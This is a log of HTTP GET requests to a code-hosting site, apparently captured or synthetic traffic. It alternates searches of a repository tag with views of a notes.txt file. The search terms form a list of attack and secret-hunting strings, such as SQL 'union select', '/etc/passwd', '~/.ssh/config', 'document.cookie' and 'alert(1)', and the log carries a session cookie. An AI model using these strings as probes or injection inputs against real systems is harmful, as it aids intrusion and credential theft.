{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
